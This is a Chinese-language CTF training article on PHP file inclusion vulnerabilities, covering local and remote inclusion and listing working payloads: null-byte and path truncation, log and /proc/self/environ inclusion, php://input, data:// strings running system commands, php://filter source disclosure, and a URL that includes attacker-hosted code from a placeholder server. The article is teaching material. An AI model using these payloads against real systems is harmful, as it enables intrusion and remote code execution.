前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CTF实战12 任意文件包含漏洞

CTF实战12 任意文件包含漏洞

作者头像
用户1631416
发布2018-07-25 11:50:23
1.6K0
发布2018-07-25 11:50:23
举报
文章被收录于专栏:玄魂工作室玄魂工作室

重要声明

该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关

我们今天来了解一下任意文件包含漏洞

任意文件包含漏洞

<任意文件包含漏洞>也叫<文件包含漏洞>

这个漏洞只存在于PHP网站中

是由于开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行

由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行

文件包含攻击中Web服务器源码里可能存在inlcude()此类文件包含操作函数,可以通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因

漏洞的分类

文件包含漏洞可以大概分为这么两类

1. 本地文件包含

利用的条件是,相关函数内的参数可控

2. 远程文件包含

利用的条件是相关函数内的参数可控,且allow_url_fopen = On

我们先就一个一个的来说一下利用方法

本地文件包含利用方法

本地文件包含漏洞的常规利用方法有以下几个步骤:

  1. 发现本地文件包含;
  2. 寻找上传功能;
  3. 利用包含漏洞包含解析

小技巧

有上传的时候,可以用包含截断技巧上传

原理

include($_GET['file'] . '.php')

利用方法

  1. %00截断 test.jpg%00GPC为OFF
  2. 超长文件名截断(*nix->4096 win->256) ././././././test.jpg
  3. 问号 test.jpg?

当然,我们很多时候遇到的是无上传的网站,那么无上传的时,我们也可以利用

但是要注意权限

利用方法

  1. 包含日志 (access_log error_log)
  2. 临时文件 (lfi with phpinfo)
  3. 包含其他环境变量 (/proc/self/environ)
  4. php://input
  5. data://
  6. php://filter

其中,php://input使用post方式传输我们要执行的php代码

data://利用条件需要

allow_url_include = On;

php>=5.2.0

其利用方法

file=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=

file=data:;base64,PD9waHBpbmZvKCk7Lyo=

file=data:text/plain,<?php system("uname -a");?>

最后的php://filter可以用来读取源代码

且包含漏洞只能读取<非脚本文件>,脚本文件将被立即解析

我们可以构建如下的语句

http://x.x.x.x/test.php?file=php://filter/read=covert.base64-encode/resource=some.php

之后就会返回some.php源码的base64加密

远程文件包含利用方法

远程文件包含的利用比较折腾

利用方法

  1. 拥有一台远程服务器
  2. 在服务器上放置一个不可被本服务器上web中间件解析的文件(txt jpg
  3. 文件内容中包含攻击代码
  4. 利用远程包含文件漏洞包含

可构造如下攻击URL

http://x.x.x.x/test.php?file=http://y.y.y.y/test.jpg

然后在test.jpg放上我们希望服务器执行的代码就可以了

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-06-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
消息队列 TDMQ
消息队列 TDMQ (Tencent Distributed Message Queue)是腾讯基于 Apache Pulsar 自研的一个云原生消息中间件系列,其中包含兼容Pulsar、RabbitMQ、RocketMQ 等协议的消息队列子产品,得益于其底层计算与存储分离的架构,TDMQ 具备良好的弹性伸缩以及故障恢复能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档